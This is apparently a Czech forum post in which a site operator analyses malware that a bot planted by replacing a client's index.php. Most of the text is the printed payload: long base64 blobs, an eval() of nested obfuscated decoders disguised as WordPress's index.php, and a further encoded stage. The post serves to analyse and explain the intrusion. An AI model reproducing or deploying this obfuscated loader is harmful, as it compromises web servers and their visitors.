3hFd3BIS1FXVnhrS3RvaHY3ZktlbEpZdWxnQlBsbllFWGkyd2FXWXVYc2h1SUpJdmxaRjBuSll1bEpZdWxKWXV2aTI5eWkycWtLYjkwSmYwbFBvcGNQb3ZlSnZXeVUyV0xpQnB5V1lKTEpra1hnTzl5SmhTeFVSd2NOWUpMSmtrWGdPOXlKVkFMV29wRkpJRklFMjl5aTJxa0pEVnZRMndhTjJRSUNZV3RVMjl0VU9RdENZdXRaQlZlVTI4dG54TEFZSXVsSll1bEpZdWxpYjljaUJWZGdZdWVwT1d5VTJXTGlRcHlXWVNYTmN1dldiVkxuaFM3ZktlbEpZdWxKWXVsSll1bEpZdXZOM0VjSmYwbE4zRWNXTzlMVTNXa05JbHZXYlZMbnhMQVlJdWxKWXVsSll1bEpZdWxKT2tiSllYcldScEZVM0dlcE9WdGlCNTBDWXV2TjNFY25odmxaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKUnBrV1J3Y1VJUzBOdHdrekYwbkpZdWxKWXVsSll1bEpZdWxISzBuSll1bEpZdWxKWVM5ZktlbEpZdWxIQndMTjJ3N2ZLZWxKWXVsSll1bEpScGtXUndjVUlTYlBCcXJpeExBWUl1bEpZUzlmS1Q5ZktUYldCNWRXT2t5VUlTclVCOTBnT3djUGI5MG5ZdmxaRjBuSll1bEpZRVhpMndhV1l1OUpSQTBOdEV5VU85M2lvSmVwVjl4RXdwQkV3cFVwMFhRd1ZTSHd3QVZRazlTRTB3endZV1dueExBWUl1bEpZU1RpSXVlcE9WdGlCNTBKWUQ5SllKSW5oUzdmS2VsSll1bEpZdWxKWUVyTk9rdmlvcHhnb0VrSmYwbFBvcGNQb3ZsbllwUWlCNWRpQjUwd1JwWFdid0xpb0pJQ1lwak4yNUlVM0tJQ1lweFUzQXlOM1NUaU93Y25jSkxKa0F5aTI5MUpSV2tQSVNyTk9rdmlvSklDWXBUUHc5WE5iQWVnb2lrTklKTEpra3lXQkVYVTBweVdZSkxKdjF4eHZweVdZSkxKdlRYV2JEbG5EOWJXT3dhSlJBRlBCMGxQYjkwbmhKTEp2cFhnUUUxUTNTVGlPd2NKSUZJd2I5VFVPRElDWXBpUEI1dmlvbGxQYjkwSklGSUtrQUZnQkVrTklKTEp0RTNnQkFrVU93Y0pJRklRMjl0VTNRbFEzU1RpT3djSklGSVEzU2tpQkU1SlZBRmdCRWtOSUpMSnZYa05iazBOYms0SklGSVFSazBnTzlhQ293Y1VPcVRQSUpMSnZWTGlvWFhKWVhwS2hTU05iQWVnb2lrTkl2SUNZcFNOMkxJQ1lwVlpPVklVM0tJQ1lwZldvQTBVY0pMSnY5MVdPaXlaRHB5V1k5aVUyRVhVMHB5V1lKTEp0a1hQM3ZJQ1lweFdvcDJpb2tZVTNLSUNZcExpQldySklGSVVSV0ZDb0VjZ29pVFBCRklDWXB6V29FZGdZSkxKa0EwUEJBTVFiVmpQYnFrTklKTEprRWVpaFMzaUJKbFBvcGRnT2syaWh1ZWhRRGxLb3BkZ09rMmlvSlRKSUZJUU93Y1VZUzBVMjlMSklGSXhRZXFHYnB5V1lKTEp2NWtXT0FjUEJpMEpJRkl4d0FwRVFBY1BvV0xpb0pJQ1lwb0UydzBKUkV5VTJxckpJRklVT1ZjUGJrYUpJRklFYmtyZ1lTcmlCVmNQMmxJQ1l1dFBia2FpMnB5V1lOTEpZV0lQQmt2V2hOTEpZV1hVMkZ0Q1l1dFBia2FpY05MSllXaVBCNXZpb1hZVTNLdENZdXRLQlhjaUJpcktiOTBwY3Y3ZktlbEpZdWxKWXVsSk9peU5id1hQMmxsbllFck5Pa3Zpb3B4Z29Fa0pPVnJKWUUyUEJGVEpSTEFZSXVsSll1bEpZdWxKWXVsSllFcldSSmxzaFNyV1JwMFUycXlXMndjbllFMlBCRlR6RjBuSll1bEpZdWxKWXVsSll1bGdCUGxuUkEwTnRTeU5jbHZQQldrVXRLTEpZRXJXUkpUbmhTN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bE5idzBXb3BhSlJFY1dCUTdmS2VsSll1bEpZdWxKWXVsSllTOWZLZWxKWXVsSll1bEpSMEFZSXVsSllTOWlCcXJpb0xBWUl1bEpZdWxKWXVsTmJ3MFdvcGFKT2lYVVJBa3pGMG5KWXVsSlIwQVl0MEFZYmkxVWJBMGdCOWFKUkFqVTN3MGlPOGVwUndjVVlrN2ZLZWxKWXVscE9pVFVPd0hQMjlhV093YVdSR2xzaFN1aWJrTGl3OXRpb0VIUDI5YVdPd2FXUkdlcFJ3Y1VZdjdmS2VsSll1bGdCUGxuWUR2aWJrTGl3OWRVMjUwaUI1ME5jdmxaRjBuSll1bEpZdWxKWXV2UDJsbHNoU2RXb3BMbzJrYWdvS2VueExBWUl1bEpZdWxKWXVsUDN3Y1VWOXJpb0V5TlJLZXBPQWVDWVNmd3dwR3gxU1FvMXdoeFlGbHBSd2NVWXY3ZktlbEpZdWxKWXVsSk9BMU5icUhOMncwVTNTMG5ZRWRnWUZsSzF3aHhEOUt3VjloRXdFd1F2NVFRdlZ6UTBpVlFJRnFueExBWUl1bEpZdWxKWXVscE9pVFVPd0hQMjlhV093YVdSR2xzaFNkV29wTG8ydzRpQkdlcE9BZW54TEFZSXVsSll1bEpZdWxQM3djVVY5ZFVPOXJpaGx2UDJsVHpGMG5KWXVsSlIwQVlJdWxKWVNjaW9FMU5iNGxwT2lUVU93SFAyOWFXT3dhV1JHN2ZLVDlmS1RiV0I1ZFdPa3lVSVNMZ29BMEVPa2NuWUV2Z29KVFpGMG5KWXVsSllFYmdCcWtQb3BjSmYwbFBvcGNQb3ZlbnhMQVlJdWxKWVNUaUlYVE4xOXZnb0plcE9FVE5JdlRaRjBuSll1bEpZdWxKWVNUaUl1ZXBPRWVKZjBsVTNTa1ViRVROSWx2aU9rY25oazdmS2VsSll1bEpZdWxKWXVsSllTM2dPa0xpaHVlbllFYmdCcWtKZjBsTmJ3WGlPRVROSWx2aU9sVG5odVhzeDBsaWJWTE4yUVRaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKT2tibllYYmdCcWtvMnc0Z29BME5jbHZpT2tjQ0lKeUpJNHZpYmtMaWh2VEpZUGJKWUViZ0Jxa0p4MElDSUpscElQbHBPaVRVT1FYc2hKYUNJSlRaRjBuSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1dmlia0xpQlZjTmtqV0pmMGxwT2lUVU9RN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEhLMG5KWXVsSll1bEpZdWxKWXVsSEswbkpZdWxKWXVsSll1bEpZdWxQMnF5TjJ3dmdvSmVwT0VlbnhMQVlJdWxKWXVsSll1bEhLMG5KWXVsSlIwQVlJdWxKWVNjaW9FMU5iNGxwT2lUVU93WE50SjdmS1Q5ZktlL3NsPT0iO2V2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7"</span><span class="pun">));</span><span class="pln">
 </span><span class="pun">?&gt;&lt;?</span><span class="pln">php
</span><span class="com">/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */</span><span class="pln">

</span><span class="com">/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */</span><span class="pln">
define</span><span class="pun">(</span><span class="str">'WP_USE_THEMES'</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">true</span><span class="pun">);</span><span class="pln">

</span><span class="com">/** Loads the WordPress Environment and Template */</span><span class="pln">
</span><span class="kwd">require</span><span class="pun">(</span><span class="pln"> dirname</span><span class="pun">(</span><span class="pln"> __FILE__ </span><span class="pun">)</span><span class="pln"> </span><span class="pun">.</span><span class="pln"> </span><span class="str">'/wp-blog-header.php'</span><span class="pln"> </span><span class="pun">);?&gt;</span></pre>

<p>
	Vlastně to ani nebyl inject, nýbrž na ostro replacnutý index.php z wordpressu (klientský web jede na nette aplikaci - k wordpressu má daleko). Vypadá to na práci automatizovaného bota, kterému se povedlo prolomit nějakou známou díru a prostě tam plácnul připravený index.php, který měl udělat zbytek práce.
</p>

<p>
	Všimněte si prvních dvou řádků kódu - nastavuje dobu pro dokončení kódu na 1 hodinu + povoluje spuštěnému kódu pokračovat i přes přerušení načítání uživatelem. Zbytek je příprava proměnných pro další práci injectu (nechápu proč je nemá také v base64 kódu, jelikož ten také obsahuje další globální proměnné).
</p>

<p>
	Další zajímavostí je snaha o zmatení čtenáře kódu proměnlivým používáním nul a óček v názvech pracovních proměnných pro překlad kódu (viz. $O00OO0)
</p>

<p>
	První věc co mě zajímala byl obsah base64 enkryptu, který byl evalován - <a href="https://www.base64decode.net/" ipsnoembed="true" rel="external nofollow">https://www.base64decode.net/</a>
</p>

<pre class="ipsCode prettyprint lang-php prettyprinted" id="ips_uid_717_11" style="">
<span class="pln">$O0O000</span><span class="pun">=</span><span class="str">"TSuJwhrpBvmnAVGKLOcWNjQiXylUCtgsFZEPYoDqaMkHxzfdebRIxhapFXMTSybtuwOnCzNBAdKIockQYjlLViDsPefmgGvRqrHWZUEJsf9FgRulfKevgbETNIu9JYNtzF0npOX0WRSHW2wIJf0lp2X0WRutzF0ngBPegoAHgRE0NRGenhk7fKelpOX0WRulshutgRE0NRGtzF0nHBwLN2w7fKelpOX0WRulshutgRE0NYN7fKT9fKevN211NbkHWO1FJf0lN21cioV1ioA0o3wcghlTzF0ngBPepRAjWopTo3EjNf09pcNTZF0nJYulJYErUowcgw90Uou9pc8tzF0nHK0npRGlshutPINap2VrixPtCIN0o2QtCIWaP29vihN7fKevN211NbvlshuvNclvN211NbkHWO1FnxLAYbi1UbA0gB9aJRAjNbwqWBwrWV91NbvenoLAYIulJYSTiIuegoArioKepV9xEwpBEwpUp1pVQwwVQ1EHwwppp10TnoLAYIulJYulJYulpRAjWopTJf0lpV9xEwpBEwpUp1pVQwwVQ1EHwwppp107fKelJYulHBwLN2w7fKelJYulJYulJOkbnOkrN2w0nYEHQ0whwvwhBcWXNbW2p10TnoLAYIulJYulJYulJYulJYErUowcghu9JYEHQ0whwvwhBcWKhVSHQ0wGEIWWJY4lpr8tJY4lpV9xEwpBEwpUp2Vci3PtowLFoxLAYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYuvN211Nbvlshuvo1AVQkiVQkLtQDXKo1AVxDPtohuaJYN/pcuaJYEHQ0whwvwhBcWEwQwhBw9xwVppxvNtoxLAYIulJYulJYulHK0nJYulJR0AYIulJYScioE1Nb4lpRAjWopTzF0nHK0npOWyW2wIJf0lp2E0gOkcWRvjiBktgRKcCtATi2iyZOiyWB5vPoETU25tCtAeU3utzF0npRSXN3A3U3pvJf0lUBK1nO1vAhXupV9REwEUp3Svp10TnxLAYbkbJYlvNOVrN3WyNbKlsx0lprwbPbPrAbP2PdDFArSXiBG2ABPFGOAIzOQrABG5P2G0pcvlZF0nJYulJYEXiOEHP29aWOwaWYu9JDuvo0WVwVLtUBVFUbVjihWWzF0nJYulJYEXP3ETU24lshSupV9REwEUp2VdWOkyUIWWzF0nJYulJYEvU21XgB4lshSupV9REwEUp2EyUBVTUIWWzF0nJYulJOkbnYEvU21XgB4TZF0nJYulJYulJYuvgO9rWYu9JYEvU21XgB47fKelJYulHBwLN2w7fKelJYulJYulJYEeU3A0Jf0lpV9xEwpBEwpUp0XQwVSHhD9xwYWWzF0nJYulJR0AYIulJYuyCcEeU3A0Jf0lpV9xEwpBEwpUp0XQwVSHhD9xwYWWzF0nJYulJYEFPoEeJf0liOkcUbVjihXHo0ipxDwHocv7fKelJYulgBPepOVdWOkyUd09p3STUbNtnoLAYIulJYulJYulCc9eWREFNreyC3W3Wc5tU29tUOQaP29jC3STUbN/N2k0iB1XNf1eWREFNreyC2w4PB1FUOQaP29jC3ATWOwjPouaZO1LfKelJYulJYulJOkbnRA0NtA0NIlvPBEvo2AyUtEkUtKLpc54UBFtnhk7fKelJYulJYulJYulJYSTiIXTN19eWREFNclTnoLAYIulJYulJYulJYulJYulJYuviOV0Pw9aioNlshutgRE0NRG6Cc93W3Nai29yi2qkCbAyUh9FgB5ts3ATWOwjPou9pc4tgRE0NRG6Cc8tCIEeU3A0CINypc4vPBEvo2AyUtEkUtK7fKelJYulJYulJYulJYS9iBqrioLAYIulJYulJYulJYulJYulJYuviOV0Pw9aioNlshutgRE0NRG6Cc93W3Nai29yi2qkCbAyUh9FgB5ts3ATWOwjPou9pc4tgRE0NfeyCcNapOXyN3Kapc8tCIEXiOEHP29aWOwaWfLAYIulJYulJYulJYulJR0AYIulJYulJYulJYulJY8yQ2k0iB1XNfelgRE0NfeyC3W3Wc5tWBEXUbWriBXXWY5dU20yUBVFgB5violaZO1LfKelJYulJYulJYulJYSTiIXrWRpTN3EcnRAjU3w0iO8epOEXWOVHUbw3nhFti29yi2qkpcvTZF0nJYulJYulJYulJYulJYulJOwdgO8lprqINd5ygrqINd4tzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYuliBAeUcuviOV0Pw9aioNaprqINd5FgB5tJOiXURAkJxqINd4tzF0nJYulJYulJYulJYulHK0nJYulJYulJYS9iBqrioLAYIulJYulJYulJYulJOwdgO8lprqINd5rgoEkUBVFJO5XUBQlibVLN2QXsOpcsIN7fKelJYulJYulJR0AYIulJYulJYulioXTWfLAYIulJYS9fKeAYIulJYuvibkLiw9FPoEeJf0lpRSXWOlapc9cU2pyWRGaWRX0prLAYIulJYSTiIlXpOVdWOkyUIk7fKelJYulJYulJYEXP3ETU24lshutNRw0prLAYIulJYS9fKelJYulgBPepOVdWOkyUIu9shutNRw0pck7fKelJYulJYulJOkbnRA0NtA0NIlvPBEvo2AyUtEkUtKLpc54UBFtnhk7fKelJYulJYulJYulJYSTiIXbgBqko2w4goA0NclvibkLiw9FPoEenhk7fKelJYulJYulJYulJYulJYulpOEXWODlshSrUB91WOEynYEbgBqko3SXWOlTzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulpOEXWODlshutwoAkNI1Xi2waWfelnl0nKBqLU3N6JY8tzF0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulgBPeN3EcN3EcnYEvPoEXCYNypc4vPBEvo2AyUtEkUtKTnoLAYIulJYulJYulJYulJYulJYSkP2XyJYN8PtJ+N2k0iB1XNYSXURpkPBE5JOVviOwvJxqINd4tzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulgBPegoAHgRE0NRGenhk7fKelJYulJYulJYulJYulJYulJYulJYEvPoEXo25kWcu9JREcgB0epOEXWODTCIpNNkqaJI4tQ2k0iB1XNfelgRE0NRG6Cc8tCIEeU3A0CINypc4vPBEvo2AyUtEkUtK7fKelJYulJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulJYulJYEvPoEXo25kWcu9JREcgB0epOEXWODTCIpNNkqaJI4tQ2k0iB1XNfelgRE0NfeyCcNapOXyN3Kapc8tCIEXiOEHP29aWOwaWfLAYIulJYulJYulJYulJYulJYS9fKelJYulJYulJYulJYulJYulCc9xgoEkUBVFzISeWREFzI8yW3W3CbW1iOVai3AkgOV0CbAyUh9jPoSTUbEkZY54UBFAYIulJYulJYulJYulJYulJYSTiIXbgBqko3S1WV9dU250iB50NclvibkLiw9FPoEeCYEvPoEXo25kWcvTJRLAYIulJYulJYulJYulJYulJYulJYuliBAeUcutsOpcsb9MsOpcsIN7fKelJYulJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulJYulJOwdgO8lprqINd5bgBqkJRWcgoEkJOiXURAkJxqINd4tzF0nJYulJYulJYulJYulJYulJR0AYIulJYulJYulJYulJR0AYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYSkP2XyJYN8PtJ+N2k0iB1XNYSaPB1kJOiXURAkJxqINd4tzF0nJYulJYulJYS9fKelJYulJYulJOkbJYXrWRprWRJepOVviV9dU250iB50CYutCtSeNYNTnhS7fKepYKvvPhu9JO1vAhXjifQeKYEHE0wQBcWXp10TnxLAYlvpYhEIJf0lUBK1nO1vAhXupV9REwEUp2JtohvTzF0nYKvpgBPepOD9soAjU3w0iO8ep2X0WRu6Cc8tCIEtU3WkPI4tC2DaNOXFpcvlHRFlpOJ9shNcGBG0ifurGBEvGdv5GfDrAxiXzxVIG2wbP2AXGfDrGYNTZF0nYKvpYhErUoA0NIu9JDuvo0WVwVLtN21rWRJtoxLAYlvpYKkTiIXbgBqko3S1WV9dU250iB50NclvNOV0gYuaJYNypcuaJYEXiOEHP29aWOwaWYFlpRAjN3Ecnhk7fKepYKvpYBwdgO8lp29MprLAYlvpYKk9fKepYKk9fKelJYulJYulJR0AYIulJYS9fKelJYulgBPepOVdWOkyUIu9shutiOwLpck7fKelJYulJYulJOkbnOiTUOwHioXTN3ErnYEbgBqko3SXWOlTnoLAYIulJYulJYulJYulJYEvPoEXJf0lN21yWoEvUclvibkLiw9FPoEenxLAYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYuviOV0Phu9JYNtzF0nJYulJYulJYS9fKelJYulJYulJOkbnRA0NtA0NIlviOV0PhFtCcNapOVviV9dU250iB50nhk7fKelJYulJYulJYulJYSTiIXTN19eWREFNclTnoLAYIulJYulJYulJYulJYulJYuviOV0Pw9aioNlshS0NbkjnYEvPoEXnh4IoRpNUIJap1ATWOwjPou6JOX0WRSrzI8ypc4vgO9rWY4tCcNapOVviV9dU250iB50zF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulpOEXWOVHUbw3Jf0lWRpTUhlviOV0PhvaJkqcoO4ICIWxgoEkUBVFzISeWREFzI8ypc4vgO9rWY4tCcNapOVviV9dU250iB50zF0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulgBPeibkLiw9FWoEHP29aWOwaWRGepOiTUOwHNOV0gYFviOV0Pw9aioNTnhS7fKelJYulJYulJYulJYulJYuliBAeUcutsOpcsb9MsOpcsIN7fKelJYulJYulJYulJYS9iBqrioLAYIulJYulJYulJYulJYulJYSkP2XyJYN8PtJ+ibkLihS3Nbk0ihSbPBqrihD8PtJ+prLAYIulJYulJYulJYulJR0AYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYSkP2XyJYN8PtJ+N2k0iB1XNYSvU2wrJO5yWYSkZOkrWYD8PtJ+prLAYIulJYulJYulHK0nJYulJR0AYl0nJYulJOw4goK7fKT9fKTbWB5dWOkyUISTN19eWREFNclTJRLAYIulJYSTiIueJYVkUoS0Zhlvo1AVQkiVQkLthVEQQVGtohvlpIPlN3EcWO9LU3WkNIlvo1AVQkiVQkLthVEQQVGtohvlJx09JYWyibPtnhS7fKelJYulJYulJRpkWRwcUIS0NtwkzF0nJYulJR0liBqriBkbJYllgoArioKepV9xEwpBEwpUp0XQwVSHBV9Ox1poKwpDEQEHQVpswD8tohvlpIPlpV9xEwpBEwpUp0XQwVSHBV9Ox1poKwpDEQEHQVpswD8tohu9sx0lp2X0WRSrpcuTJRLAYIulJYulJYulNbw0WopaJREcWBQ7fKelJYulHhSkURAkgBPlnYuXiB1FWRvepV9xEwpBEwpUp0XQwVSHEkpsxkEHEQ5Do0XQwVSxp10TJYPbJRA0NtEyUO93ioJepV9xEwpBEwpUp0XQwVSHEkpsxkEHEQ5Do0XQwVSxp10TJYD9shutU2ibpcvlZF0nJYulJYulJYScioE1Nb4lWRp1ixLAYIulJYS9fKelJYulNbw0WopaJOiXURAkzF0nHK0npREkUoulshSupV9REwEUp3AjWOwjNYWWzF0npOkvJf0lKYEH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iB50CYWaU2pyWRwriopXi2waWYNTnoLAYIulJYulJYulgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp29MgREjUOWkWOAyUtEkUtKtnhk7fKelJYulJYulJYulJYSugOwXiOwcnYpfU250iB50CoE5NOQ6JREkZRKyP3ArzcSdgOVcN2w0sow0iI04JIv7fKelJYulJYulJYulJYuvgREjUV9dU250iB50Jf0lN3Eco3pkNOqXP2QeJb9MgREjUOWkWOAyUtEkUtKICYNtCYEeWO1Lo2AyUtEkUtKTzF0nJYulJYulJYulJYuliBAeUcuvgREjUV9dU250iB50zF0nJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYS9iBqrihSTiIXrWRprWRJepOX0UBqHP29aWOwaWYFti2w0P29aWOwaWfQFGRSXi2Qtnhk7fKelJYulJYulJYulJYSugOwXiOwcnYWJwVEKCrDaGhu1GfulhB50iopaPBFlQ2wcWbwcJDwcNb9cpcv7fKelJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJR1kURAkJOkbnRA0NtA0NIlvgREjUV9dU250iB50CYWtioEdU250iB50Afu0NOVtihNTnoLAYIulJYulJYulJYulJDSeiBVvioJep0XQwVuyGh4qJfKFAYSzU3K